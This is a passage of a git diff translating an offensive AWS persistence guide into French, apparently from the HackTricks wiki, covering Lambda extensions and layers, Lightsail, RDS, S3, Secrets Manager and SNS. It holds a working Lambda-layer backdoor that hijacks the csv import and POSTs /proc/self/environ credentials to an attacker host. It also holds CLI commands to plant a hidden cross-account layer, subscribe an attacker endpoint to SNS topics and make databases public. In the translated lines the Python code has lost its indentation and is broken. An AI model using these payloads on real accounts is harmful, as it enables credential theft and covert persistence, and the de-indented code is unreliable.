-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+Il a été constaté que le noyau Linux par défaut dans l'environnement d'exécution Lambda est compilé avec les appels système “**process_vm_readv**” et “**process_vm_writev**”. Et tous les processus s'exécutent avec le même identifiant utilisateur, même le nouveau processus créé pour l'extension externe. **Cela signifie qu'une extension externe a un accès complet en lecture et en écriture à la mémoire heap de Rapid, par conception.**
 
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+De plus, bien que les extensions Lambda aient la capacité de **s'abonner aux événements d'invocation**, AWS ne révèle pas les données brutes à ces extensions. Cela garantit que **les extensions ne peuvent pas accéder aux informations sensibles** transmises via la requête HTTP.
 
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+Le processus Init (Rapid) surveille toutes les requêtes API à [http://127.0.0.1:9001](http://127.0.0.1:9001/) tandis que les extensions Lambda sont initialisées et s'exécutent avant l'exécution de tout code d'exécution, mais après Rapid.
 
 <figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
 
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+La variable **`AWS_LAMBDA_RUNTIME_API`** indique l'**adresse IP** et le **numéro de port** de l'API Rapid aux **processus d'exécution enfants** et aux extensions supplémentaires.
 
 > [!WARNING]
-> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+> En changeant la variable d'environnement **`AWS_LAMBDA_RUNTIME_API`** à un **`port`** auquel nous avons accès, il est possible d'intercepter toutes les actions au sein de l'exécution Lambda (**man-in-the-middle**). Cela est possible car l'extension s'exécute avec les mêmes privilèges que Rapid Init, et le noyau du système permet la **modification de la mémoire des processus**, permettant l'altération du numéro de port.
 
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+Parce que **les extensions s'exécutent avant tout code d'exécution**, modifier la variable d'environnement influencera le processus d'exécution (par exemple, Python, Java, Node, Ruby) au démarrage. De plus, **les extensions chargées après** la nôtre, qui dépendent de cette variable, passeront également par notre extension. Cette configuration pourrait permettre à un logiciel malveillant de contourner complètement les mesures de sécurité ou les extensions de journalisation directement dans l'environnement d'exécution.
 
 <figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
 
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+L'outil [**lambda-spy**](https://github.com/clearvector/lambda-spy) a été créé pour effectuer cette **écriture en mémoire** et **voler des informations sensibles** des requêtes lambda, d'autres **requêtes d'extensions** et même **les modifier**.
 
 ## References
 
@@ -40,7 +40,3 @@ The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created
 - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index f8a5e2868..2bd98bb1e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -1,82 +1,75 @@
-# AWS - Lambda Layers Persistence
+# AWS - Persistence des couches Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Lambda Layers
+## Couches Lambda
 
-A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+Une couche Lambda est une archive .zip qui **peut contenir du code supplémentaire** ou d'autres contenus. Une couche peut contenir des bibliothèques, un [runtime personnalisé](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), des données ou des fichiers de configuration.
 
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, le **contenu est extrait dans le répertoire `/opt`** de l'environnement d'exécution.
 
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
+Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre permission d'accéder à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.
 
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image.
 
-### Python load path
-
-The load path that Python will use in lambda is the following:
+### Chemin de chargement Python
 
+Le chemin de chargement que Python utilisera dans lambda est le suivant :
 ```
 ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
 ```
-
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+Vérifiez comment les **deuxième** et troisième **positions** sont occupées par des répertoires où les **lambda layers** décompressent leurs fichiers : **`/opt/python/lib/python3.9/site-packages`** et **`/opt/python`**
 
 > [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> Si un attaquant parvient à **backdoor** un **layer** lambda utilisé ou à **en ajouter un** qui sera **exécutant du code arbitraire lorsqu'une bibliothèque commune est chargée**, il pourra exécuter du code malveillant à chaque invocation de lambda.
 
-Therefore, the requisites are:
+Par conséquent, les exigences sont :
 
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **Vérifier les bibliothèques** qui sont **chargées** par le code des victimes
+- Créer une **bibliothèque proxy avec des lambda layers** qui va **exécuter du code personnalisé** et **charger la bibliothèque originale**.
 
-### Preloaded libraries
+### Bibliothèques préchargées
 
 > [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+> En abusant de cette technique, j'ai rencontré une difficulté : Certaines bibliothèques sont **déjà chargées** dans l'environnement d'exécution python lorsque votre code est exécuté. Je m'attendais à trouver des choses comme `os` ou `sys`, mais **même la bibliothèque `json` était chargée**.\
+> Afin d'abuser de cette technique de persistance, le code doit **charger une nouvelle bibliothèque qui n'est pas chargée** lorsque le code est exécuté.
 
+Avec un code python comme celui-ci, il est possible d'obtenir la **liste des bibliothèques qui sont préchargées** dans l'environnement d'exécution python dans lambda :
 ```python
 import sys
 
 def lambda_handler(event, context):
-    return {
-        'statusCode': 200,
-        'body': str(sys.modules.keys())
-    }
+return {
+'statusCode': 200,
+'body': str(sys.modules.keys())
+}
 ```
-
-And this is the **list** (check that libraries like `os` or `json` are already there)
-
+Et voici la **liste** (vérifiez que des bibliothèques comme `os` ou `json` sont déjà présentes)
 ```
 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
 ```
+Et voici la liste des **bibliothèques** que **lambda inclut installées par défaut** : [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
 
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+### Backdooring de la couche Lambda
 
-### Lambda Layer Backdooring
+Dans cet exemple, supposons que le code ciblé importe **`csv`**. Nous allons **backdoor l'importation de la bibliothèque `csv`**.
 
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+Pour ce faire, nous allons **créer le répertoire csv** avec le fichier **`__init__.py`** à l'intérieur dans un chemin chargé par lambda : **`/opt/python/lib/python3.9/site-packages`**\
+Ensuite, lorsque la lambda est exécutée et essaie de charger **csv**, notre **fichier `__init__.py` sera chargé et exécuté**.\
+Ce fichier doit :
 
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
-
-- Execute our payload
-- Load the original csv library
-
-We can do both with:
+- Exécuter notre payload
+- Charger la bibliothèque csv originale
 
+Nous pouvons faire les deux avec :
 ```python
 import sys
 from urllib import request
 
 with open("/proc/self/environ", "rb") as file:
-    url= "https://attacker13123344.com/" #Change this to your server
-    req = request.Request(url, data=file.read(), method="POST")
-    response = request.urlopen(req)
+url= "https://attacker13123344.com/" #Change this to your server
+req = request.Request(url, data=file.read(), method="POST")
+response = request.urlopen(req)
 
 # Remove backdoor directory from path to load original library
 del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
 
 sys.modules["csv"] = _csv
 ```
+Ensuite, créez un zip avec ce code dans le chemin **`python/lib/python3.9/site-packages/__init__.py`** et ajoutez-le en tant que couche lambda.
 
-Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
+Vous pouvez trouver ce code sur [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
 
-You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-
-The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
+Le payload intégré **enverra les identifiants IAM à un serveur LA PREMIÈRE FOIS qu'il est invoqué ou APRÈS une réinitialisation du conteneur lambda** (changement de code ou lambda froide), mais **d'autres techniques** telles que les suivantes pourraient également être intégrées :
 
 {{#ref}}
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}
 
-### External Layers
+### Couches Externes
 
-Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
-Also note that the **max number of layers a lambda can have is 5**.
+Notez qu'il est possible d'utiliser **des couches lambda provenant de comptes externes**. De plus, une lambda peut utiliser une couche d'un compte externe même si elle n'a pas les autorisations.\
+Notez également que le **nombre maximum de couches qu'une lambda peut avoir est de 5**.
 
-Therefore, in order to improve the versatility of this technique an attacker could:
-
-- Backdoor an existing layer of the user (nothing is external)
-- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
-  - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
-  - The victim **won't see external layers** used with **`aws lambda list-layers`**
+Par conséquent, afin d'améliorer la polyvalence de cette technique, un attaquant pourrait :
 
+- Backdoor une couche existante de l'utilisateur (rien n'est externe)
+- **Créer** une **couche** dans **son compte**, donner l'**accès au compte victime** pour utiliser la couche, **configurer** la **couche** dans la Lambda de la victime et **retirer la permission**.
+- La **Lambda** pourra toujours **utiliser la couche** et la **victime n'aura** aucun moyen facile de **télécharger le code des couches** (à part obtenir un shell inversé à l'intérieur de la lambda)
+- La victime **ne verra pas les couches externes** utilisées avec **`aws lambda list-layers`**
 ```bash
 # Upload backdoor layer
 aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
 # Remove permissions
 aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
 ```
-
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 88b0d082a..f07f59477 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -4,34 +4,30 @@
 
 ## Lightsail
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-lightsail-enum.md
 {{#endref}}
 
-### Download Instance SSH keys & DB passwords
+### Télécharger les clés SSH de l'instance et les mots de passe de la base de données
 
-They won't be changed probably so just having them is a good option for persistence
+Ils ne seront probablement pas changés, donc les avoir est une bonne option pour la persistance.
 
-### Backdoor Instances
+### Instances de porte dérobée
 
-An attacker could get access to the instances and backdoor them:
+Un attaquant pourrait accéder aux instances et y installer une porte dérobée :
 
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key**
-- Expose a port with port knocking with a backdoor
+- En utilisant un **rootkit** traditionnel par exemple
+- En ajoutant une nouvelle **clé SSH publique**
+- En exposant un port avec un knocking de port avec une porte dérobée
 
-### DNS persistence
+### Persistance DNS
 
-If domains are configured:
+Si des domaines sont configurés :
 
-- Create a subdomain pointing your IP so you will have a **subdomain takeover**
-- Create **SPF** record allowing you to send **emails** from the domain
-- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
+- Créez un sous-domaine pointant vers votre IP afin d'avoir un **sous-domaine takeover**
+- Créez un enregistrement **SPF** vous permettant d'envoyer des **emails** depuis le domaine
+- Configurez l'**IP du domaine principal à la vôtre** et effectuez un **MitM** de votre IP vers les légitimes
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b7a4b8f7b..582846269 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -4,32 +4,24 @@
 
 ## RDS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
+### Rendre l'instance accessible publiquement : `rds:ModifyDBInstance`
 
+Un attaquant disposant de cette autorisation peut **modifier une instance RDS existante pour activer l'accessibilité publique**.
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
+### Créer un utilisateur admin dans la DB
 
-### Create an admin user inside the DB
-
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
-
-### Make snapshot public
+Un attaquant pourrait simplement **créer un utilisateur dans la DB** donc même si le mot de passe de l'utilisateur principal est modifié, il **ne perd pas l'accès** à la base de données.
 
+### Rendre le snapshot public
 ```bash
 aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index f2c4ce048..ef7a237e4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -4,7 +4,7 @@
 
 ## S3
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-s3-athena-and-glacier-enum.md
@@ -12,18 +12,14 @@ For more information check:
 
 ### KMS Client-Side Encryption
 
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+Lorsque le processus de chiffrement est terminé, l'utilisateur utilisera l'API KMS pour générer une nouvelle clé (`aws kms generate-data-key`) et il **stockera la clé chiffrée générée dans les métadonnées** du fichier ([exemple de code python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) afin que lors du déchiffrement, il puisse la déchiffrer à nouveau avec KMS :
 
 <figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
 
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
+Par conséquent, un attaquant pourrait obtenir cette clé à partir des métadonnées et déchiffrer avec KMS (`aws kms decrypt`) pour obtenir la clé utilisée pour chiffrer les informations. De cette manière, l'attaquant disposera de la clé de chiffrement et si cette clé est réutilisée pour chiffrer d'autres fichiers, il pourra l'utiliser.
 
 ### Using S3 ACLs
 
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
+Bien que les ACL des buckets soient généralement désactivées, un attaquant disposant de privilèges suffisants pourrait en abuser (si elles sont activées ou si l'attaquant peut les activer) pour conserver l'accès au bucket S3.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index c15f27003..775fc4539 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -1,57 +1,51 @@
-# AWS - Secrets Manager Persistence
+# AWS - Persistence de Secrets Manager
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Secrets Manager
 
-For more info check:
+Pour plus d'infos, consultez :
 
 {{#ref}}
 ../aws-services/aws-secrets-manager-enum.md
 {{#endref}}
 
-### Via Resource Policies
+### Via les politiques de ressources
 
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
+Il est possible de **donner accès aux secrets à des comptes externes** via des politiques de ressources. Consultez la [**page Privesc de Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) pour plus d'informations. Notez que pour **accéder à un secret**, le compte externe aura également **besoin d'accès à la clé KMS chiffrant le secret**.
 
-### Via Secrets Rotate Lambda
+### Via Lambda de rotation de secrets
 
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
+Pour **faire tourner les secrets** automatiquement, une **Lambda** configurée est appelée. Si un attaquant pouvait **modifier** le **code**, il pourrait directement **exfiltrer le nouveau secret** pour lui-même.
 
+Voici à quoi pourrait ressembler le code lambda pour une telle action :
 ```python
 import boto3
 
 def rotate_secrets(event, context):
-    # Create a Secrets Manager client
-    client = boto3.client('secretsmanager')
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
 
-    # Retrieve the current secret value
-    secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
 
-    # Rotate the secret by updating its value
-    new_secret_value = rotate_secret(secret_value)
-    client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
 
 def rotate_secret(secret_value):
-    # Perform the rotation logic here, e.g., generate a new password
+# Perform the rotation logic here, e.g., generate a new password
 
-    # Example: Generate a new password
-    new_secret_value = generate_password()
+# Example: Generate a new password
+new_secret_value = generate_password()
 
-    return new_secret_value
+return new_secret_value
 
 def generate_password():
-    # Example: Generate a random password using the secrets module
-    import secrets
-    import string
-    password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-    return password
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 8e97cc81c..cc5fbe7f2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -4,7 +4,7 @@
 
 ## SNS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
@@ -12,74 +12,66 @@ For more information check:
 
 ### Persistence
 
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
-
+Lors de la création d'un **SNS topic**, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, des ARN de rôles, ou **même "\*"**.\
+La politique suivante donne à tout le monde dans AWS l'accès pour lire et écrire dans le SNS topic appelé **`MySNS.fifo`** :
 ```json
 {
-  "Version": "2008-10-17",
-  "Id": "__default_policy_ID",
-  "Statement": [
-    {
-      "Sid": "__default_statement_ID",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": [
-        "SNS:Publish",
-        "SNS:RemovePermission",
-        "SNS:SetTopicAttributes",
-        "SNS:DeleteTopic",
-        "SNS:ListSubscriptionsByTopic",
-        "SNS:GetTopicAttributes",
-        "SNS:AddPermission",
-        "SNS:Subscribe"
-      ],
-      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-      "Condition": {
-        "StringEquals": {
-          "AWS:SourceOwner": "318142138553"
-        }
-      }
-    },
-    {
-      "Sid": "__console_pub_0",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": "SNS:Publish",
-      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-    },
-    {
-      "Sid": "__console_sub_0",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": "SNS:Subscribe",
-      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-    }
-  ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
 }
 ```
+### Créer des abonnés
 
-### Create Subscribers
-
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+Pour continuer à exfiltrer tous les messages de tous les sujets, l'attaquant pourrait **créer des abonnés pour tous les sujets**.
 
+Notez que si le **sujet est de type FIFO**, seuls les abonnés utilisant le protocole **SQS** peuvent être utilisés.
 ```bash
 aws sns subscribe --region <region> \
-    --protocol http \
-    --notification-endpoint http://<attacker>/ \
-    --topic-arn <arn>
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 88f396173..88208c179 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -4,40 +4,34 @@
 
 ## SQS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-sqs-and-sns-enum.md
 {{#endref}}
 
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
+### Utilisation de la politique de ressources
 
+Dans SQS, vous devez indiquer avec une politique IAM **qui a accès à lire et écrire**. Il est possible d'indiquer des comptes externes, l'ARN de rôles, ou **même "\*"**.\
+La politique suivante donne à tout le monde dans AWS accès à tout dans la file d'attente appelée **MyTestQueue** :
 ```json
 {
-  "Version": "2008-10-17",
-  "Id": "__default_policy_ID",
-  "Statement": [
-    {
-      "Sid": "__owner_statement",
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "*"
-      },
-      "Action": ["SQS:*"],
-      "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-    }
-  ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
